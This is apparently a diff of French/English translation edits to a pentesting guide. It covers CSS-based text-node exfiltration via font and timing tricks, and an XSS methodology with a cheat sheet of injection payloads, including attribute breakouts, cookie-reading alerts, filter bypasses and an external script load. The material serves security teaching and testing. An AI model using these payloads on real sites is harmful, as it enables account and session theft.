Bien que cette méthode permette de détecter des caractères uniques lorsqu'ils apparaissent, elle ne précise pas quel caractère est répété, seulement qu'une répétition a eu lieu.
|
||||
Bien que cette méthode permette de détecter les caractères uniques lorsqu'ils apparaissent, elle ne précise pas quel caractère est répété, seulement qu'une répétition a eu lieu.
|
||||
|
||||
> [!TIP]
|
||||
> En gros, le **unicode-range** est utilisé pour détecter un char, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre manière.\
|
||||
> Quand le **char** est **trouvé**, il se voit attribuer la police préinstallée **Comic Sans**, ce qui rend le char **plus grand** et **déclenche une barre de défilement** qui va **leak le char trouvé**.
|
||||
> En gros, le **unicode-range** est utilisé pour détecter un caractère, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre façon.\
|
||||
> Quand le **caractère** est **trouvé**, il se voit **attribuer** la police préinstallée **Comic Sans**, qui **agrandit** le caractère et **déclenche une barre de défilement** qui va **leak le caractère trouvé**.
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
```css
|
||||
@ -744,15 +744,15 @@ background: blue var(--leak);
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Ce cas est très similaire au précédent ; cependant, ici l'objectif de rendre certains **caractères plus grands que d'autres est de cacher quelque chose** comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. On peut donc mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
|
||||
Ce cas est très similaire au précédent ; cependant, ici l'objectif de rendre certains **caractères plus grands que d'autres est de masquer quelque chose** comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. On peut donc mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Dans ce cas, on peut essayer de leak si un caractère est dans le texte en chargeant une police factice depuis la même origine :
|
||||
Dans ce cas, nous pourrions essayer de leak si un caractère est dans le texte en chargeant une police factice depuis la même origine :
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
S'il y a une correspondance, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Même si elle ne se chargera pas correctement, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il existe un mécanisme **304 not modified**, donc la **réponse devrait être plus rapide** que pour d'autres éléments.
|
||||
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
|
||||
|
||||
Cependant, si la différence de temps entre la réponse mise en cache et la réponse non mise en cache n'est pas suffisamment importante, cela ne sera pas utile. Par exemple, l'auteur a mentionné : après tests, j'ai constaté que le premier problème est que la vitesse n'est pas beaucoup différente, et le deuxième problème est que le bot utilise le flag `disk-cache-size=1`, ce qui est vraiment réfléchi.
|
||||
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the `disk-cache-size=1` flag, which is really thoughtful.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Référence :** Ceci est mentionné comme [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Dans ce cas, vous pouvez indiquer du **CSS pour charger des centaines de fausses polices** depuis la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez **mesurer le temps** que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :
|
||||
Dans ce cas, vous pouvez indiquer du **CSS pour charger des centaines de fausses polices** depuis la même origine lorsqu'une correspondance se produit. De cette façon vous pouvez **mesurer le temps** que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -783,7 +783,7 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot sera d'environ 30 secondes. En revanche, s'il y a correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, entraînant une activité réseau continue. Par conséquent, il faudra plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Ainsi, le temps de réponse peut être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
|
||||
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. En revanche, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, entraînant une activité réseau continue. Il faudra donc plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Le temps de réponse peut ainsi être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -2,82 +2,81 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Méthodologie
|
||||
## Methodology
|
||||
|
||||
1. Vérifiez si **une valeur que vous contrôlez** (_parameters_, _path_, _headers_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par du **JS**.
|
||||
2. **Trouvez le contexte** où elle est reflétée/utilisée.
|
||||
3. Si **réfléchie**
|
||||
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez le payload :
|
||||
1. En **HTML brut** :
|
||||
1. Pouvez-vous créer de nouvelles balises HTML ?
|
||||
2. Pouvez-vous utiliser des events ou des attributes supportant le protocole `javascript:` ?
|
||||
3. Pouvez-vous bypasser les protections ?
|
||||
4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...) que vous pourriez abuser via une [**Client Side Template Injection**](../client-side-template-injection-csti.md) ?
|
||||
5. Si vous ne pouvez pas créer des balises HTML qui exécutent du JS, pouvez-vous abuser d'un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ?
|
||||
2. À l'intérieur d'une **balise HTML** :
|
||||
1. Pouvez-vous sortir vers le contexte HTML brut ?
|
||||
2. Pouvez-vous créer de nouveaux events/attributes pour exécuter du JS ?
|
||||
3. L'attribut dans lequel vous êtes enfermé supporte-t-il l'exécution JS ?
|
||||
4. Pouvez-vous bypasser les protections ?
|
||||
3. À l'intérieur du **code JavaScript** :
|
||||
1. Pouvez-vous échapper la balise `<script>` ?
|
||||
2. Pouvez-vous échapper la chaîne et exécuter un JS différent ?
|
||||
3. Vos entrées sont-elles dans des template literals \`\` ?
|
||||
4. Pouvez-vous bypasser les protections ?
|
||||
4. Fonction **JavaScript** en cours **d'exécution**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. ex : `?callback=alert(1)`
|
||||
4. Si **utilisé** :
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la manière dont votre input est contrôlé et si votre input contrôlé est utilisé par un sink quelconque.
|
||||
|
||||
Lorsque vous travaillez sur un XSS complexe, il peut être utile de consulter :
|
||||
1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code.
|
||||
2. **Trouver le contexte** où il est refleχti/utilisé.
|
||||
3. If **reflected**
|
||||
1. Vérifier **quels symboles vous pouvez utiliser** et selon cela, préparer le payload :
|
||||
1. In **raw HTML**:
|
||||
1. Can you create new HTML tags?
|
||||
2. Can you use events or attributes supporting `javascript:` protocol?
|
||||
3. Can you bypass protections?
|
||||
4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Inside a **HTML tag**:
|
||||
1. Can you exit to raw HTML context?
|
||||
2. Can you create new events/attributes to execute JS code?
|
||||
3. Does the attribute where you are trapped support JS execution?
|
||||
4. Can you bypass protections?
|
||||
3. Inside **JavaScript code**:
|
||||
1. Can you escape the `<script>` tag?
|
||||
2. Can you escape the string and execute different JS code?
|
||||
3. Are your input in template literals ``?
|
||||
4. Can you bypass protections?
|
||||
4. Javascript **function** being **executed**
|
||||
1. You can indicate the name of the function to execute. e.g.: `?callback=alert(1)`
|
||||
4. If **used**:
|
||||
1. You could exploit a **DOM XSS**, faites attention à la façon dont votre input est contrôlé et si votre **input contrôlé est utilisé par un sink.**
|
||||
|
||||
When working on a complex XSS you might find interesting to know about:
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Valeurs réfléchies
|
||||
## Reflected values
|
||||
|
||||
Pour exploiter avec succès un XSS, la première chose à trouver est une **valeur contrôlée par vous qui est reflétée** dans la page web.
|
||||
In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.
|
||||
|
||||
- **Réfléchie de manière intermédiaire** : Si vous trouvez que la valeur d'un paramètre ou même du path est reflétée dans la page web, vous pourriez exploiter un **Reflected XSS**.
|
||||
- **Stockée et reflétée** : Si vous trouvez qu'une valeur que vous contrôlez est enregistrée côté serveur et réfléchie à chaque accès à une page, vous pourriez exploiter un **Stored XSS**.
|
||||
- **Accédée via JS** : Si vous trouvez qu'une valeur que vous contrôlez est accédée via JS, vous pourriez exploiter un **DOM XSS**.
|
||||
- **Intermediately reflected**: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a **Reflected XSS**.
|
||||
- **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**.
|
||||
- **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**.
|
||||
|
||||
## Contextes
|
||||
## Contexts
|
||||
|
||||
Lorsque vous essayez d'exploiter un XSS, la première chose à savoir est **où votre input est reflété**. Selon le contexte, vous pourrez exécuter du code JS de différentes manières.
|
||||
When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways.
|
||||
|
||||
### HTML brut
|
||||
### Raw HTML
|
||||
|
||||
Si votre input est **réfléchi dans le HTML brut** de la page, vous devrez abuser de certaines **balises HTML** pour exécuter du JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles.\
|
||||
Pensez aussi à [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `<img , <iframe , <svg , <script` ... these are just some of the many possible HTML tags you could use.\
|
||||
Also, keep in mind [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dans l'attribut d'une balise HTML
|
||||
### Inside HTML tags attribute
|
||||
|
||||
Si votre input est réfléchi à l'intérieur de la valeur d'un attribut d'une balise, vous pouvez essayer :
|
||||
If your input is reflected inside the value of the attribute of a tag you could try:
|
||||
|
||||
1. D'**échapper de l'attribut et de la balise** (vous serez alors en HTML brut) et créer une nouvelle balise HTML à abuser : `"><img [...]`
|
||||
2. Si vous **pouvez échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise vous pourriez **créer un event** qui exécute du JS : `" autofocus onfocus=alert(1) x="`
|
||||
3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** contient votre valeur et **si vous contrôlez toute la valeur ou seulement une partie**, vous pourrez l'abuser. Par **exemple**, si vous contrôlez un event comme `onclick=` vous pourrez le faire exécuter du code arbitraire au clic. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
4. Si votre input est reflété dans des "**balises non exposables**", vous pouvez essayer l'astuce **`accesskey`** pour abuser de la vuln (vous aurez besoin d'un peu de social engineering pour l'exploiter) : **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. To **escape from the attribute and from the tag** (then you will be in the raw HTML) and create new HTML tag to abuse: `"><img [...]`
|
||||
2. If you **can escape from the attribute but not from the tag** (`>` is encoded or deleted), depending on the tag you could **create an event** that executes JS code: `" autofocus onfocus=alert(1) x="`
|
||||
3. If you **cannot escape from the attribute** (`"` is being encoded or deleted), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
|
||||
4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln (you will need some kind of social engineer to exploit this): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemple étrange d'Angular exécutant un XSS si vous contrôlez un nom de classe :
|
||||
Weird example of Angular executing XSS if you controls a class name:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### À l'intérieur du code JavaScript
|
||||
### Dans le code JavaScript
|
||||
|
||||
Dans ce cas votre input est reflété entre les **`<script> [...] </script>`** tags d'une page HTML, à l'intérieur d'un fichier `.js` ou dans un attribut utilisant le protocole **`javascript:`** :
|
||||
Dans ce cas votre input est reflété entre **`<script> [...] </script>`** tags d'une page HTML, à l'intérieur d'un fichier `.js` ou dans un attribut utilisant le protocole **`javascript:`** :
|
||||
|
||||
- Si reflété entre **`<script> [...] </script>`** tags, même si votre input est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et sortir de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
|
||||
- Si reflété **inside a JS string** et que le dernier truc ne marche pas, vous devrez **exit** la string, **execute** votre code et **reconstruct** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
|
||||
- Si reflété entre **`<script> [...] </script>`** tags, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, par conséquent, il ne remarquera pas que votre balise injectée `</script>` se trouve dans le code HTML.
|
||||
- Si reflété **à l'intérieur d'une JS string** et que le dernier truc ne fonctionne pas vous devrez **sortir** de la string, **exécuter** votre code et **reconstruire** le code JS (si une erreur survient, il ne sera pas exécuté :
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Si reflété à l'intérieur de template literals, vous pouvez **embed JS expressions** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- Si reflété dans les template literals vous pouvez **embed JS expressions** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** fonctionne pour écrire du **valid javascript code** :
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -86,8 +85,8 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting references the opportunity to **déclarer des fonctions, variables ou classes après leur utilisation, ce qui permet d'abuser de scénarios où un XSS utilise des variables ou fonctions non déclarées.**\
|
||||
**Check the following page for more info:**
|
||||
Javascript Hoisting references the opportunity to **déclarer des fonctions, variables ou classes après leur utilisation afin d'abuser de scénarios où un XSS utilise des variables ou fonctions non déclarées.**\
|
||||
**Consultez la page suivante pour plus d'infos :**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -96,13 +95,13 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
|
||||
Plusieurs pages web possèdent des endpoints qui **acceptent en paramètre le nom de la fonction à exécuter**. Un exemple courant vu sur le terrain est quelque chose comme : `?callback=callbackFunc`.
|
||||
|
||||
Une bonne façon de savoir si quelque chose fourni directement par l'utilisateur est tenté d'être exécuté est de **modifier la valeur du param** (par exemple en 'Vulnerable') et regarder dans la console des erreurs comme :
|
||||
Un bon moyen de savoir si quelque chose fourni directement par l'utilisateur est tenté d'être exécuté est de **modifier la valeur du param** (par exemple en 'Vulnerable') et de regarder la console pour des erreurs comme :
|
||||
|
||||
.png>)
|
||||
|
||||
Si c'est vulnérable, vous pourriez être capable de **déclencher une alerte** simplement en envoyant la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces endpoints **valident le contenu** pour n'autoriser que les lettres, chiffres, points et underscores (**`[\w\._]`**).
|
||||
Dans le cas où c'est vulnérable, vous pourriez être capable de **déclencher une alert** simplement en envoyant la valeur : **`?callback=alert(1)`**. Cependant, il est très courant que ces endpoints **valident le contenu** pour n'autoriser que des lettres, chiffres, points et underscores (**`[\w\._]`**).
|
||||
|
||||
Cependant, même avec cette limitation, il est toujours possible d'effectuer certaines actions. C'est parce que vous pouvez utiliser ces caractères valides pour **accéder à n'importe quel élément du DOM** :
|
||||
|
||||
@ -116,11 +115,11 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Vous pouvez aussi essayer de **déclencher des fonctions Javascript** directement : `obj.sales.delOrders`.
|
||||
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
|
||||
|
||||
Cependant, habituellement les endpoints qui exécutent la fonction indiquée sont des endpoints sans DOM très intéressant ; **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions.
|
||||
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
|
||||
|
||||
Par conséquent, pour **abuser de cette vulnérabilité dans un DOM différent** l'exploitation **Same Origin Method Execution (SOME)** a été développée :
|
||||
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +128,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
Il existe du **JS code** qui utilise **de manière non sécurisée** certaines **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
|
||||
Il existe du **JS code** qui utilise de façon **non sécurisée** des **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,8 +137,8 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
Ces types de XSS peuvent être trouvés **n'importe où**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **n'importe quel** **contexte**. Ces formes d'**exécution JavaScript arbitraire** peuvent même être abusées pour obtenir **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et serveurs, et plus encore.\
|
||||
Quelques **exemples** :
|
||||
Ces types de XSS peuvent être trouvés **anywhere**. Ils ne dépendent pas uniquement de l'exploitation côté client d'une application web mais de **any** **context**. Ces types d'**arbitrary JavaScript execution** peuvent même être abusés pour obtenir **RCE**, **read** **arbitrary** **files** sur des clients et serveurs, et plus encore.\
|
||||
Some **examples**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -151,17 +150,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## WAF bypass image d'encodage
|
||||
## WAF bypass encoding image
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Injection dans le HTML brut
|
||||
|
||||
Lorsque votre input est reflété **dans la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser du caractère `<` pour créer de nouveaux tags : Il suffit d'essayer de **faire refléter** ce **caractère** et de vérifier s'il est **encodé en HTML**, **supprimé** ou **reflété sans modification**. **Ce n'est que dans le dernier cas que vous pourrez exploiter cette situation**.\
|
||||
Pour ces cas, **gardez aussi à l'esprit** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note : Un commentaire HTML peut être fermé en utilisant\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
|
||||
Lorsque votre input est reflété **inside the HTML page** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser du caractère `<` pour créer de nouvelles balises : essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encoded** ou **deleted** ou s'il est **reflété sans changes**. **Only in the last case you will be able to exploit this case**.\
|
||||
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note : Un commentaire HTML peut être fermé en utilisant\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
|
||||
|
||||
Dans ce cas, et si aucune black/whitelisting n'est utilisée, vous pouvez utiliser des payloads comme :
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +168,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mais, si un tags/attributes black/whitelisting est utilisé, vous devrez **brute-force which tags** vous pouvez créer.\
|
||||
Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **brute-force attributes/events** à l'intérieur des tags valides trouvés pour voir comment attaquer le contexte.
|
||||
Mais, si un black/whitelisting des tags/attributes est utilisé, vous devrez **brute-force which tags** you can create.\
|
||||
Une fois que vous avez **located which tags are allowed**, vous devrez **brute-force attributes/events** à l'intérieur des tags valides trouvés pour voir comment attaquer le contexte.
|
||||
|
||||
### Tags/Events brute-force
|
||||
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copy tags to clipboard**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été identifiés comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **brute force all the events** en utilisant les tags valides (sur la même page cliquez sur _**Copy events to clipboard**_ et suivez la même procédure que précédemment).
|
||||
Rendez-vous sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copy tags to clipboard**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si certains tags n'ont pas été détectés comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **brute force all the events** en utilisant les tags valides (sur la même page web cliquez sur _**Copy events to clipboard**_ et suivez la même procédure qu'avant).
|
||||
|
||||
### Custom tags
|
||||
|
||||
Si vous ne trouvez aucun tag HTML valide, vous pouvez essayer de **create a custom tag** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL par `#` pour forcer la page à **focus on that object** et **execute** le code :
|
||||
Si vous n'avez trouvé aucun tag HTML valide, vous pouvez essayer de **create a custom tag** et exécuter du JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL par `#` pour faire **focus on that object** et **execute** le code:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Si une sorte de blacklist est utilisée, vous pouvez essayer de la bypasser avec quelques astuces ridicules :
|
||||
Si une sorte de blacklist est utilisée, vous pouvez essayer de la bypasser avec quelques astuces simples :
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -241,24 +240,24 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Le dernier utilise 2 caractères unicode qui se développent en 5 : telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
Pour vérifier en quels caractères ils sont décomposés consultez [here](https://www.compart.com/en/unicode/U+2121).
|
||||
Le dernier utilise 2 caractères Unicode qui se décomposent en 5 : telsr\
|
||||
Plus de ces caractères peuvent être trouvés [here](https://www.unicode.org/charts/normalization/).\
|
||||
Pour vérifier en quels caractères ils sont décomposés, consultez [here](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Si, pour exploiter la vulnérabilité, vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pouvez essayer de [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
|
||||
Si, pour exploiter la vulnérabilité, vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pouvez essayer de [**abuser de Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Si vous pensez simplement qu'**il est impossible de créer une balise HTML avec un attribut permettant d'exécuter du code JS**, vous devriez consulter [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because vous pourriez **exploit** la vulnérabilité **without** exécuter **JS** code.
|
||||
Si vous pensez simplement qu'**il est impossible de créer une balise HTML avec un attribut permettant d'exécuter du code JS**, vous devriez vérifier [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because vous pourriez **exploit** la vulnérabilité **without** exécuter **JS** code.
|
||||
|
||||
## Injection à l'intérieur d'une balise HTML
|
||||
|
||||
### À l'intérieur de la balise/échappement depuis la valeur d'attribut
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Si vous êtes **inside a HTML tag**, la première chose que vous pouvez essayer est de **escape** de la balise et d'utiliser certaines des techniques mentionnées dans la [previous section](#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **cannot escape from the tag**, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour tenter d'exécuter du code JS, par exemple en utilisant un payload comme (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose à essayer est de **vous échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](#injecting-inside-raw-html) pour exécuter du code **JS**.\
|
||||
Si vous **ne pouvez pas vous échapper de la balise**, vous pouvez créer de nouveaux attributs à l'intérieur de la balise pour tenter d'exécuter du code **JS**, par exemple en utilisant une charge utile comme (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -275,14 +274,14 @@ Si vous **cannot escape from the tag**, vous pouvez créer de nouveaux attributs
|
||||
```
|
||||
### Dans l'attribut
|
||||
|
||||
Même si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), selon **dans quel attribut** votre valeur est reflétée et **si vous contrôlez toute la valeur ou seulement une partie** vous pourrez l'abuser. Par **exemple**, si vous contrôlez un event comme `onclick=` vous pourrez lui faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Même si vous **ne pouvez pas vous échapper de l'attribut** (`"` est encodé ou supprimé), selon **dans quel attribut** votre valeur est reflétée et **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=` vous pourrez lui faire exécuter du code arbitraire quand il est cliqué.\
|
||||
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass inside event using HTML encoding/URL encode**
|
||||
|
||||
Les **HTML encoded characters** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
